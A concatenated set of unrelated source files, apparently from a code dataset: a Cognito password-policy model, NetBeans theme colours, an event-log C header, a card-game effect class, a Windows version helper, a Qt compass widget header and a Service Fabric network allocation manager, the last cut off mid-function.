* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to set the
* deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
* </note>
*
* @return In the password policy you have set, refers to the number of days a temporary password is valid. If the
* user does not sign-in during this time, their password will need to be reset by an administrator.</p>
* <note>
* <p>
* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to
* set the deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
*/
public Integer getTemporaryPasswordValidityDays() {
return this.temporaryPasswordValidityDays;
}
/**
* <p>
* In the password policy you have set, refers to the number of days a temporary password is valid. If the user does
* not sign-in during this time, their password will need to be reset by an administrator.
* </p>
* <note>
* <p>
* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to set the
* deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
* </note>
*
* @param temporaryPasswordValidityDays
* In the password policy you have set, refers to the number of days a temporary password is valid. If the
* user does not sign-in during this time, their password will need to be reset by an administrator.</p>
* <note>
* <p>
* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to set
* the deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
* @return Returns a reference to this object so that method calls can be chained together.
*/
public PasswordPolicyType withTemporaryPasswordValidityDays(Integer temporaryPasswordValidityDays) {
setTemporaryPasswordValidityDays(temporaryPasswordValidityDays);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getMinimumLength() != null)
sb.append("MinimumLength: ").append(getMinimumLength()).append(",");
if (getRequireUppercase() != null)
sb.append("RequireUppercase: ").append(getRequireUppercase()).append(",");
if (getRequireLowercase() != null)
sb.append("RequireLowercase: ").append(getRequireLowercase()).append(",");
if (getRequireNumbers() != null)
sb.append("RequireNumbers: ").append(getRequireNumbers()).append(",");
if (getRequireSymbols() != null)
sb.append("RequireSymbols: ").append(getRequireSymbols()).append(",");
if (getTemporaryPasswordValidityDays() != null)
sb.append("TemporaryPasswordValidityDays: ").append(getTemporaryPasswordValidityDays());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof PasswordPolicyType == false)
return false;
PasswordPolicyType other = (PasswordPolicyType) obj;
if (other.getMinimumLength() == null ^ this.getMinimumLength() == null)
return false;
if (other.getMinimumLength() != null && other.getMinimumLength().equals(this.getMinimumLength()) == false)
return false;
if (other.getRequireUppercase() == null ^ this.getRequireUppercase() == null)
return false;
if (other.getRequireUppercase() != null && other.getRequireUppercase().equals(this.getRequireUppercase()) == false)
return false;
if (other.getRequireLowercase() == null ^ this.getRequireLowercase() == null)
return false;
if (other.getRequireLowercase() != null && other.getRequireLowercase().equals(this.getRequireLowercase()) == false)
return false;
if (other.getRequireNumbers() == null ^ this.getRequireNumbers() == null)
return false;
if (other.getRequireNumbers() != null && other.getRequireNumbers().equals(this.getRequireNumbers()) == false)
return false;
if (other.getRequireSymbols() == null ^ this.getRequireSymbols() == null)
return false;
if (other.getRequireSymbols() != null && other.getRequireSymbols().equals(this.getRequireSymbols()) == false)
return false;
if (other.getTemporaryPasswordValidityDays() == null ^ this.getTemporaryPasswordValidityDays() == null)
return false;
if (other.getTemporaryPasswordValidityDays() != null
&& other.getTemporaryPasswordValidityDays().equals(this.getTemporaryPasswordValidityDays()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getMinimumLength() == null) ? 0 : getMinimumLength().hashCode());
hashCode = prime * hashCode + ((getRequireUppercase() == null) ? 0 : getRequireUppercase().hashCode());
hashCode = prime * hashCode + ((getRequireLowercase() == null) ? 0 : getRequireLowercase().hashCode());
hashCode = prime * hashCode + ((getRequireNumbers() == null) ? 0 : getRequireNumbers().hashCode());
hashCode = prime * hashCode + ((getRequireSymbols() == null) ? 0 : getRequireSymbols().hashCode());
hashCode = prime * hashCode + ((getTemporaryPasswordValidityDays() == null) ? 0 : getTemporaryPasswordValidityDays().hashCode());
return hashCode;
}
@Override
public PasswordPolicyType clone() {
try {
return (PasswordPolicyType) super.clone();
} catch (CloneNotSupportedException e) {
throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e);
}
}
@com.amazonaws.annotation.SdkInternalApi
@Override
public void marshall(ProtocolMarshaller protocolMarshaller) {
com.amazonaws.services.cognitoidp.model.transform.PasswordPolicyTypeMarshaller.getInstance().marshall(this, protocolMarshaller);
}
}
| 7,414 |
320 | <reponame>2757571500/sdk<gh_stars>100-1000
/*
* Copyright (c) 2016 jMonkeyEngine
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* * Neither the name of 'jMonkeyEngine' nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.jme3.netbeans.plaf.darkmonkey;
import java.awt.Color;
import java.util.prefs.Preferences;
import org.netbeans.swing.plaf.LFCustoms;
import org.openide.util.NbPreferences;
/**
* This class is responsible for the customization of many details (such as the color of the diff tool) which aren't
* possible to define by the LaF. As such you can change the Font and Color for each detail.
* @author MeFisto94
*/
public class DarkMonkeyLFCustoms extends LFCustoms {
DarkMonkeyLookAndFeel LaF;
public DarkMonkeyLFCustoms(DarkMonkeyLookAndFeel LaF) {
this.LaF = LaF;
}
@Override
public Object[] createLookAndFeelCustomizationKeysAndValues() {
// Fonts belong here it seems
Preferences pref = NbPreferences.root().node("laf");
Object[] result = {
};
return result;
}
@Override
public Object[] createApplicationSpecificKeysAndValues() {
Object[] result = {
// git
"nb.versioning.added.color", Color.decode(LaF.getThemeProperty("nb.versioning.added.color", LaF.getDefaultThemeProperty("nb.versioning.added.color", "#FF0000"))), // Red to symbolize that there is an error
"nb.versioning.modified.color", Color.decode(LaF.getThemeProperty("nb.versioning.modified.color", LaF.getDefaultThemeProperty("nb.versioning.modified.color", "#FF0000"))),
"nb.versioning.deleted.color", Color.decode(LaF.getThemeProperty("nb.versioning.deleted.color", LaF.getDefaultThemeProperty("nb.versioning.deleted.color", "#FF0000"))),
"nb.versioning.conflicted.color", Color.decode(LaF.getThemeProperty("nb.versioning.conflicted.color", LaF.getDefaultThemeProperty("nb.versioning.conflicted.color", "#FF0000"))),
"nb.versioning.ignored.color", Color.decode(LaF.getThemeProperty("nb.versioning.ignored.color", LaF.getDefaultThemeProperty("nb.versioning.ignored.color", "#FF0000"))),
// diff
"nb.diff.added.color", Color.decode(LaF.getThemeProperty("nb.diff.added.color", LaF.getDefaultThemeProperty("nb.diff.added.color", "#FF0000"))),
"nb.diff.changed.color", Color.decode(LaF.getThemeProperty("nb.diff.changed.color", LaF.getDefaultThemeProperty("nb.diff.changed.color", "#FF0000"))),
"nb.diff.deleted.color", Color.decode(LaF.getThemeProperty("nb.diff.deleted.color", LaF.getDefaultThemeProperty("nb.diff.deleted.color", "#FF0000"))),
"nb.diff.applied.color", Color.decode(LaF.getThemeProperty("nb.diff.applied.color", LaF.getDefaultThemeProperty("nb.diff.applied.color", "#FF0000"))),
"nb.diff.notapplied.color", Color.decode(LaF.getThemeProperty("nb.diff.notapplied.color", LaF.getDefaultThemeProperty("nb.diff.notapplied.color", "#FF0000"))),
"nb.diff.unresolved.color", Color.decode(LaF.getThemeProperty("nb.diff.unresolved.color", LaF.getDefaultThemeProperty("nb.diff.unresolved.color", "#FF0000"))),
"nb.diff.sidebar.deleted.color", Color.decode(LaF.getThemeProperty("nb.diff.sidebar.deleted.color", LaF.getDefaultThemeProperty("nb.diff.sidebar.deleted.color", "#FF0000"))),
"nb.diff.sidebar.changed.color", Color.decode(LaF.getThemeProperty("nb.diff.sidebar.changed.color", LaF.getDefaultThemeProperty("nb.diff.sidebar.changed.color", "#FF0000")))
};
return result;
}
} | 1,820 |
357 | /*
* Copyright © 2012-2015 VMware, Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”); you may not
* use this file except in compliance with the License. You may obtain a copy
* of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS, without
* warranties or conditions of any kind, EITHER EXPRESS OR IMPLIED. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Module Name: ThinAppRepoService
*
* Filename: repodb.h
*
* Abstract:
*
* Thinapp Repository Database
*
*/
#ifndef __EVENTLOG_DB_H__
#define __EVENTLOG_DB_H__
#ifdef __cplusplus
extern "C" {
#endif
typedef void * HEVENTLOG_DB;
typedef HEVENTLOG_DB * PHEVENTLOG_DB;
typedef struct _EVENTLOG_DB_EVENT_ENTRY
{
PWSTR pwszEventMessage;
PWSTR pwszEventDesc;
DWORD dwID;
} EVENTLOG_DB_EVENT_ENTRY, *PEVENTLOG_DB_EVENT_ENTRY;
typedef struct _EVENTLOG_DB_EVENT_CONTAINER
{
DWORD dwCount;
DWORD dwTotalCount;
PEVENTLOG_DB_EVENT_ENTRY pEventEntries;
} EVENTLOG_DB_EVENT_CONTAINER, *PEVENTLOG_DB_EVENT_CONTAINER;
DWORD
EventLogDbInitialize(
PCSTR pszDbPath
);
VOID
EventLogDbShutdown(
VOID
);
DWORD
EventLogDbReset(
VOID
);
DWORD
EventLogDbCreateContext(
HEVENTLOG_DB * phDatabase
);
DWORD
EventLogDbCtxBeginTransaction(
HEVENTLOG_DB hDatabase
);
DWORD
EventLogDbCtxCommitTransaction(
HEVENTLOG_DB hDatabase
);
DWORD
EventLogDbCtxRollbackTransaction(
HEVENTLOG_DB hDatabase
);
/*
** Note: The caller is responsible for the contents of the
** EVENTLOG_DB_EVENT_ENTRY struct. Its contents will not be modified or
** freed inside this function call.
*/
DWORD
EventLogDbAddEvent(
HEVENTLOG_DB hDatabase,
PEVENTLOG_DB_EVENT_ENTRY pEventEntry
);
DWORD
EventLogDbGetTotalEventCount(
HEVENTLOG_DB hDatabase,
PDWORD pdwNumEvents
);
DWORD
EventLogDbEnumEvents(
HEVENTLOG_DB hDatabase,
DWORD dwStartIndex,
DWORD dwNumEvents,
PEVENTLOG_DB_EVENT_ENTRY* ppEventEntryArray,
BOOL bGetApps,
PDWORD pdwCount
);
DWORD
EventLogDbDeleteEvent(
HEVENTLOG_DB hDatabase,
PCWSTR pwszEventGUID
);
VOID
EventLogDbReleaseContext(
HEVENTLOG_DB hDatabase
);
VOID
EventLogDbFreeContext(
HEVENTLOG_DB hDatabase
);
const char*
EventLogDbErrorCodeToName(
int code
);
VOID
EventLogDbFreeEventEntryArray(
PEVENTLOG_DB_EVENT_ENTRY pEventEntryArray,
DWORD dwCount
);
VOID
EventLogDbFreeEventEntry(
PEVENTLOG_DB_EVENT_ENTRY pEventEntry
);
VOID
EventLogDbFreeEventEntryArray(
PEVENTLOG_DB_EVENT_ENTRY pEventEntryArray,
DWORD dwCount
);
VOID
EventLogDbFreeEventEntryContents(
PEVENTLOG_DB_EVENT_ENTRY pEventEntry
);
#ifdef __cplusplus
}
#endif
#endif /* __EVENTLOG_DB_H__ */
| 1,341 |
1,444 | <gh_stars>1000+
package mage.abilities.effects;
import mage.MageObject;
import mage.abilities.Ability;
import mage.abilities.Mode;
import mage.constants.Duration;
import mage.game.Game;
import mage.game.events.GameEvent;
import mage.players.Player;
/**
*
* @author LevelX2
*/
public class AsTurnedFaceUpEffect extends ReplacementEffectImpl {
protected Effects baseEffects = new Effects();
protected boolean optional;
public AsTurnedFaceUpEffect(Effect baseEffect, boolean optional) {
super(Duration.WhileOnBattlefield, baseEffect.getOutcome(), true);
this.baseEffects.add(baseEffect);
this.optional = optional;
}
public AsTurnedFaceUpEffect(final AsTurnedFaceUpEffect effect) {
super(effect);
this.baseEffects = effect.baseEffects.copy();
this.optional = effect.optional;
}
public void addEffect(Effect effect) {
baseEffects.add(effect);
}
@Override
public boolean checksEventType(GameEvent event, Game game) {
return event.getType() == GameEvent.EventType.TURNFACEUP;
}
@Override
public boolean applies(GameEvent event, Ability source, Game game) {
return event.getTargetId().equals(source.getSourceId());
}
@Override
public boolean apply(Game game, Ability source) {
return false;
}
@Override
public boolean replaceEvent(GameEvent event, Ability source, Game game) {
if (optional) {
Player controller = game.getPlayer(source.getControllerId());
MageObject object = game.getObject(source.getSourceId());
if (controller == null || object == null) {
return false;
}
if (!controller.chooseUse(outcome, "Use effect of " + object.getIdName() + "?", source, game)) {
return false;
}
}
for (Effect effect : baseEffects) {
if (source.activate(game, false)) {
if (effect instanceof ContinuousEffect) {
game.addEffect((ContinuousEffect) effect, source);
} else {
effect.apply(game, source);
}
}
}
return false;
}
@Override
public String getText(Mode mode) {
if (staticText != null && !staticText.isEmpty()) {
return staticText;
}
return "As {this} is turned face up, " + baseEffects.getText(mode);
}
@Override
public AsTurnedFaceUpEffect copy() {
return new AsTurnedFaceUpEffect(this);
}
}
| 1,043 |
1,861 | from .version import *
import ctypes
def get_file_version_info(filename):
# Get the file version info structure.
pBlock = GetFileVersionInfoW(filename)
pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\")
if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO):
raise ctypes.WinError(ERROR_BAD_LENGTH)
pVersionInfo = ctypes.cast(pBuffer,
ctypes.POINTER(VS_FIXEDFILEINFO))
VersionInfo = pVersionInfo.contents
if VersionInfo.dwSignature != 0xFEEF04BD:
raise ctypes.WinError(ERROR_BAD_ARGUMENTS)
FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS
return FileDate | 221 |
428 | <reponame>zhiqiang-hu/qucsdk
#ifndef GAUGECOMPASS_H
#define GAUGECOMPASS_H
/**
* 指南针仪表盘控件 作者:feiyangqingyun(QQ:517216493) 2016-11-12
* 1. 可设置当前度数。
* 2. 可设置精确度。
* 3. 可设置是否启用动画及步长。
* 4. 可设置边框渐变颜色。
* 5. 可设置背景渐变颜色。
* 6. 可设置加深和明亮颜色。
* 7. 可设置指南指北指针颜色。
* 8. 可设置中心点渐变颜色。
*/
#include <QWidget>
#ifdef quc
class Q_DECL_EXPORT GaugeCompass : public QWidget
#else
class GaugeCompass : public QWidget
#endif
{
Q_OBJECT
Q_PROPERTY(double value READ getValue WRITE setValue)
Q_PROPERTY(int precision READ getPrecision WRITE setPrecision)
Q_PROPERTY(bool animation READ getAnimation WRITE setAnimation)
Q_PROPERTY(double animationStep READ getAnimationStep WRITE setAnimationStep)
Q_PROPERTY(QColor crownColorStart READ getCrownColorStart WRITE setCrownColorStart)
Q_PROPERTY(QColor crownColorEnd READ getCrownColorEnd WRITE setCrownColorEnd)
Q_PROPERTY(QColor bgColorStart READ getBgColorStart WRITE setBgColorStart)
Q_PROPERTY(QColor bgColorEnd READ getBgColorEnd WRITE setBgColorEnd)
Q_PROPERTY(QColor darkColor READ getDarkColor WRITE setDarkColor)
Q_PROPERTY(QColor lightColor READ getLightColor WRITE setLightColor)
Q_PROPERTY(QColor foreground READ getForeground WRITE setForeground)
Q_PROPERTY(QColor textColor READ getTextColor WRITE setTextColor)
Q_PROPERTY(QColor northPointerColor READ getNorthPointerColor WRITE setNorthPointerColor)
Q_PROPERTY(QColor southPointerColor READ getSouthPointerColor WRITE setSouthPointerColor)
Q_PROPERTY(QColor centerColorStart READ getCenterColorStart WRITE setCenterColorStart)
Q_PROPERTY(QColor centerColorEnd READ getCenterColorEnd WRITE setCenterColorEnd)
public:
explicit GaugeCompass(QWidget *parent = 0);
~GaugeCompass();
protected:
void paintEvent(QPaintEvent *);
void drawCrownCircle(QPainter *painter);
void drawBgCircle(QPainter *painter);
void drawScale(QPainter *painter);
void drawScaleNum(QPainter *painter);
void drawCoverOuterCircle(QPainter *painter);
void drawCoverInnerCircle(QPainter *painter);
void drawCoverCenterCircle(QPainter *painter);
void drawPointer(QPainter *painter);
void drawCenterCircle(QPainter *painter);
void drawValue(QPainter *painter);
private:
double value; //目标值
int precision; //精确度,小数点后几位
bool animation; //是否启用动画显示
double animationStep; //动画显示时步长
QColor crownColorStart; //外边框渐变开始颜色
QColor crownColorEnd; //外边框渐变结束颜色
QColor bgColorStart; //背景渐变开始颜色
QColor bgColorEnd; //背景渐变结束颜色
QColor darkColor; //加深颜色
QColor lightColor; //明亮颜色
QColor foreground; //前景色
QColor textColor; //文字颜色
QColor northPointerColor; //北方指针颜色
QColor southPointerColor; //南方指针颜色
QColor centerColorStart; //中心圆渐变开始颜色
QColor centerColorEnd; //中心圆渐变结束颜色
bool reverse; //是否倒退
double currentValue; //当前值
QTimer *timer; //定时器绘制动画
private slots:
void updateValue();
public:
double getValue() const;
int getPrecision() const;
bool getAnimation() const;
double getAnimationStep() const;
QColor getCrownColorStart() const;
QColor getCrownColorEnd() const;
QColor getBgColorStart() const;
QColor getBgColorEnd() const;
QColor getDarkColor() const;
QColor getLightColor() const;
QColor getForeground() const;
QColor getTextColor() const;
QColor getNorthPointerColor() const;
QColor getSouthPointerColor() const;
QColor getCenterColorStart() const;
QColor getCenterColorEnd() const;
QSize sizeHint() const;
QSize minimumSizeHint() const;
public Q_SLOTS:
//设置目标值
void setValue(double value);
void setValue(int value);
//设置精确度
void setPrecision(int precision);
//设置是否启用动画显示
void setAnimation(bool animation);
//设置动画显示的步长
void setAnimationStep(double animationStep);
//设置外边框渐变颜色
void setCrownColorStart(const QColor &crownColorStart);
void setCrownColorEnd(const QColor &crownColorEnd);
//设置背景渐变颜色
void setBgColorStart(const QColor &bgColorStart);
void setBgColorEnd(const QColor &bgColorEnd);
//设置加深和明亮颜色
void setDarkColor(const QColor &darkColor);
void setLightColor(const QColor &lightColor);
//设置前景色
void setForeground(const QColor &foreground);
//设置文本颜色
void setTextColor(const QColor &textColor);
//设置指针颜色
void setNorthPointerColor(const QColor &northPointerColor);
void setSouthPointerColor(const QColor &southPointerColor);
//设置中心圆颜色
void setCenterColorStart(const QColor ¢erColorStart);
void setCenterColorEnd(const QColor ¢erColorEnd);
Q_SIGNALS:
void valueChanged(int value);
};
#endif // GAUGECOMPASS_H
| 2,675 |
423 | /**
* Copyright © 2012-2014 <a href="http://www.iwantclick.com">iWantClick</a>iwc.shop All rights reserved.
*/
package com.iwc.shop.modules.sys.dao;
import com.iwc.shop.common.persistence.TreeDao;
import com.iwc.shop.common.persistence.annotation.MyBatisDao;
import com.iwc.shop.modules.sys.entity.Office;
/**
* 机构DAO接口
* @author <NAME>
* @version 2014-05-16
*/
@MyBatisDao
public interface OfficeDao extends TreeDao<Office> {
}
| 176 |
2,542 | <reponame>gridgentoo/ServiceFabricAzure
#include "stdafx.h"
using namespace std;
using namespace Common;
using namespace Federation;
using namespace Reliability;
using namespace ServiceModel;
using namespace Management::NetworkInventoryManager;
StringLiteral const NIMAllocationManagerProvider("NIMAllocationManager");
class NetworkInventoryAllocationManager::PublishNetworkMappingJobItem : public AsyncWorkJobItem
{
DENY_COPY(PublishNetworkMappingJobItem)
public:
PublishNetworkMappingJobItem()
: AsyncWorkJobItem()
, owner_()
, error_(ErrorCodeValue::Success)
, operation_()
{
}
PublishNetworkMappingJobItem(
__in NetworkInventoryAllocationManager * owner,
__in const Federation::NodeInstance nodeInstance,
__in PublishNetworkTablesRequestMessage & publishRequest,
TimeSpan const & workTimeout)
: AsyncWorkJobItem(workTimeout)
, owner_(owner)
, nodeInstance_(nodeInstance)
, publishRequest_(publishRequest)
, error_(ErrorCodeValue::Success)
, operation_()
{
}
PublishNetworkMappingJobItem(PublishNetworkMappingJobItem && other)
: AsyncWorkJobItem(move(other))
, owner_(move(other.owner_))
, nodeInstance_(move(other.nodeInstance_))
, publishRequest_(move(other.publishRequest_))
, error_(move(other.error_))
, operation_(move(other.operation_))
{
}
PublishNetworkMappingJobItem & operator=(PublishNetworkMappingJobItem && other)
{
if (this != &other)
{
owner_ = move(other.owner_);
nodeInstance_ = other.nodeInstance_;
publishRequest_ = move(other.publishRequest_);
error_.ReadValue();
error_ = move(other.error_);
operation_ = move(other.operation_);
}
__super::operator=(move(other));
return *this;
}
virtual void OnEnqueueFailed(ErrorCode && error) override
{
WriteInfo(NIMAllocationManagerProvider, "Job queue rejected work: {0}", error);
if (error.IsError(ErrorCodeValue::JobQueueFull))
{
error = ErrorCode(ErrorCodeValue::NamingServiceTooBusy);
}
//owner_->OnProcessRequestFailed(move(error), *context_);
}
protected:
virtual void StartWork(
AsyncWorkReadyToCompleteCallback const & completeCallback,
__out bool & completedSync) override
{
completedSync = false;
WriteNoise(NIMAllocationManagerProvider, "Start processing PublishNetworkMappingJobItem to node: {0}: RemainingTime: {1}, job queue sequence number {2}: {3}",
this->nodeInstance_.ToString(),
this->RemainingTime,
this->SequenceNumber,
this->publishRequest_);
NodeId target = this->nodeInstance_.Id;
operation_ = this->owner_->service_.BeginSendPublishNetworkTablesRequestMessage(this->publishRequest_,
this->nodeInstance_,
this->RemainingTime,
[this, completeCallback](AsyncOperationSPtr const & contextSPtr) -> void
{
NetworkErrorCodeResponseMessage reply;
auto error = this->owner_->service_.EndSendPublishNetworkTablesRequestMessage(contextSPtr, reply);
if (!error.IsSuccess())
{
WriteError(NIMAllocationManagerProvider, "Failed to send PublishNetworkTablesRequestMessage to node: [{0}], {1}",
this->nodeInstance_.ToString(),
error.ErrorCodeValueToString());
}
completeCallback(this->SequenceNumber);
});
}
virtual void EndWork() override
{
}
virtual void OnStartWorkTimedOut() override
{
}
private:
NetworkInventoryAllocationManager * owner_;
Federation::NodeInstance nodeInstance_;
PublishNetworkTablesRequestMessage publishRequest_;
ErrorCode error_;
AsyncOperationSPtr operation_;
};
template<class T>
using InvokeMethod = std::function<Common::ErrorCode(T &, AsyncOperationSPtr const &)>;
template <class TRequest, class TReply>
class NetworkInventoryAllocationManager::InvokeActionAsyncOperation : public AsyncOperation
{
public:
InvokeActionAsyncOperation(
__in NetworkInventoryAllocationManager & owner,
TRequest & request,
TimeSpan const timeout,
InvokeMethod<TRequest> const & invokeMethod,
AsyncCallback const & callback,
AsyncOperationSPtr const & operation)
: AsyncOperation(callback, operation),
owner_(owner),
timeoutHelper_(timeout),
invokeMethod_(invokeMethod),
request_(request)
{
}
static ErrorCode End(AsyncOperationSPtr const & operation,
__out std::shared_ptr<TReply> & reply)
{
auto thisPtr = AsyncOperation::End<InvokeActionAsyncOperation>(operation);
reply = move(thisPtr->reply_);
reply->ErrorCode = thisPtr->Error;
return thisPtr->Error;
}
_declspec(property(get = get_Reply, put = set_Reply)) std::shared_ptr<TReply> Reply;
std::shared_ptr<TReply> get_Reply() { return this->reply_; };
void set_Reply(std::shared_ptr<TReply> & value) { this->reply_ = value; }
protected:
void OnStart(AsyncOperationSPtr const & thisSPtr)
{
WriteNoise(NIMAllocationManagerProvider, "InvokeActionAsyncOperation: starting.");
this->reply_ = make_shared<TReply>();
auto error = this->invokeMethod_(request_, thisSPtr);
if (!error.IsSuccess())
{
this->TryComplete(thisSPtr, error);
}
}
private:
const InvokeMethod<TRequest> invokeMethod_;
TimeoutHelper timeoutHelper_;
NetworkInventoryAllocationManager & owner_;
TRequest & request_;
std::shared_ptr<TReply> reply_;
};
// ********************************************************************************************************************
// NetworkInventoryAllocationManager::AssociateApplicationAsyncOperation Implementation
// ********************************************************************************************************************
class NetworkInventoryAllocationManager::AssociateApplicationAsyncOperation
: public AsyncOperation
{
DENY_COPY(AssociateApplicationAsyncOperation)
public:
AssociateApplicationAsyncOperation(
__in NetworkInventoryAllocationManager & owner,
std::wstring const & networkName,
std::wstring const & applicationName,
bool isAssociation,
AsyncCallback const & callback,
AsyncOperationSPtr const & parent)
: AsyncOperation(callback, parent),
owner_(owner),
networkName_(networkName),
applicationName_(applicationName),
isAssociation_(isAssociation)
{
}
virtual ~AssociateApplicationAsyncOperation()
{
}
static ErrorCode AssociateApplicationAsyncOperation::End(
AsyncOperationSPtr const & operation)
{
auto thisPtr = AsyncOperation::End<AssociateApplicationAsyncOperation>(operation);
return thisPtr->Error;
}
protected:
void OnStart(AsyncOperationSPtr const & thisSPtr)
{
ErrorCode error(ErrorCodeValue::Success);
AcquireExclusiveLock lock(owner_.managerLock_);
if (StringUtility::CompareCaseInsensitive(networkName_, NetworkType::OpenStr) != 0 &&
StringUtility::CompareCaseInsensitive(networkName_, NetworkType::OtherStr) != 0)
{
auto netIter = owner_.networkMgrMap_.find(networkName_);
if (netIter != owner_.networkMgrMap_.end())
{
WriteInfo(NIMAllocationManagerProvider, "AssociateApplication to Network: found network: [{0}] => [{1}]",
networkName_, this->applicationName_);
auto nm = netIter->second;
std::vector<NIMNetworkNodeAllocationStoreDataSPtr> nodeEntries;
auto networkMgrCache = make_shared<FailoverManagerComponent::CacheEntry<NetworkManager>>(move(nm));
auto lockedNetworkMgr = make_shared<LockedNetworkManager>();
error = networkMgrCache->Lock(networkMgrCache, *lockedNetworkMgr);
if (error.IsSuccess())
{
auto networkMgr = lockedNetworkMgr->Get();
networkMgr->AssociateApplication(this->applicationName_, this->isAssociation_);
auto a = networkMgr->BeginUpdatePersistentData(nodeEntries,
FederationConfig::GetConfig().MessageTimeout,
[this, lockedNetworkMgr, thisSPtr](AsyncOperationSPtr const & contextSPtr)
{
std::shared_ptr<ErrorCode> reply;
auto error = lockedNetworkMgr->Get()->EndUpdatePersistentData(contextSPtr, reply);
thisSPtr->TryComplete(thisSPtr, error);
});
}
}
else
{
WriteError(NIMAllocationManagerProvider, "AssociateApplication to Network: Failed to find network: [{0}] -> [{1}]",
networkName_, this->applicationName_);
error = ErrorCode(ErrorCodeValue::NetworkNotFound);
TryComplete(thisSPtr, error);
}
}
else
{
// TODO: handle accounting for open network as well
TryComplete(thisSPtr, error);
}
}
private:
NetworkInventoryAllocationManager & owner_;
std::wstring const & networkName_;
std::wstring const & applicationName_;
bool isAssociation_;
};
NetworkInventoryAllocationManager::NetworkInventoryAllocationManager(NetworkInventoryService & service) :
service_(service)
{}
ErrorCode NetworkInventoryAllocationManager::Initialize(MACAllocationPoolSPtr macPool,
VSIDAllocationPoolSPtr vsidPool)
{
ErrorCode error(ErrorCodeValue::Success);
wstring uniqueId = wformatString("NIMServiceQueue");
publishNetworkMappingJobQueue_ = make_shared<PublishNetworkMappingAsyncJobQueue>(
L"Publish Network Mapping queue",
uniqueId,
this->service_.FM.CreateComponentRoot(),
make_unique<NIMPublishMappingJobQueueConfigSettingsHolder>());
//--------
// Rehydrate the state from the persistent store.
error = this->LoadFromStore(macPool, vsidPool);
return error;
}
NetworkInventoryAllocationManager::~NetworkInventoryAllocationManager()
{
}
void NetworkInventoryAllocationManager::Close()
{
if (publishNetworkMappingJobQueue_)
{
publishNetworkMappingJobQueue_->Close();
publishNetworkMappingJobQueue_.reset();
}
}
ErrorCode NetworkInventoryAllocationManager::LoadFromStore(MACAllocationPoolSPtr macPool,
VSIDAllocationPoolSPtr vsidPool)
{
ErrorCode error;
{
AcquireExclusiveLock lock(managerLock_);
std::vector<NIMNetworkMACAddressPoolStoreDataSPtr> macAddressPools;
std::vector<NIMNetworkIPv4AddressPoolStoreDataSPtr> ipAddressPools;
std::vector<NIMNetworkDefinitionStoreDataSPtr> networkDefinitions;
std::vector<NIMNetworkNodeAllocationStoreDataSPtr> networkNodeAllocations;
error = this->service_.FM.Store.LoadAll(macAddressPools);
if (error.IsSuccess())
{
//--------
// Bootstrap the global MAC address pool.
if (macAddressPools.size() == 0)
{
WriteInfo(NIMAllocationManagerProvider, "LoadFromStore: bootstrapping global MAC address pool");
this->macPool_ = make_shared<NIMNetworkMACAddressPoolStoreData>(macPool, vsidPool, L"MAC", L"global");
this->macPool_->PersistenceState = PersistenceState::ToBeInserted;
macAddressPools.emplace_back(this->macPool_);
}
else
{
ASSERT_IFNOT(macAddressPools.size() == 1, "LoadFromStore: only one MAC pool expected!");
this->macPool_ = macAddressPools[0];
}
WriteInfo(NIMAllocationManagerProvider, "{0} MAC address pools loaded", macAddressPools.size());
error = this->service_.FM.Store.LoadAll(ipAddressPools);
}
if (error.IsSuccess())
{
WriteInfo(NIMAllocationManagerProvider, "{0} IPv4 address pools loaded", ipAddressPools.size());
error = this->service_.FM.Store.LoadAll(networkDefinitions);
}
if (error.IsSuccess())
{
WriteInfo(NIMAllocationManagerProvider, "{0} network definitions loaded", networkDefinitions.size());
error = this->service_.FM.Store.LoadAll(networkNodeAllocations);
}
if (error.IsSuccess())
{
//--------
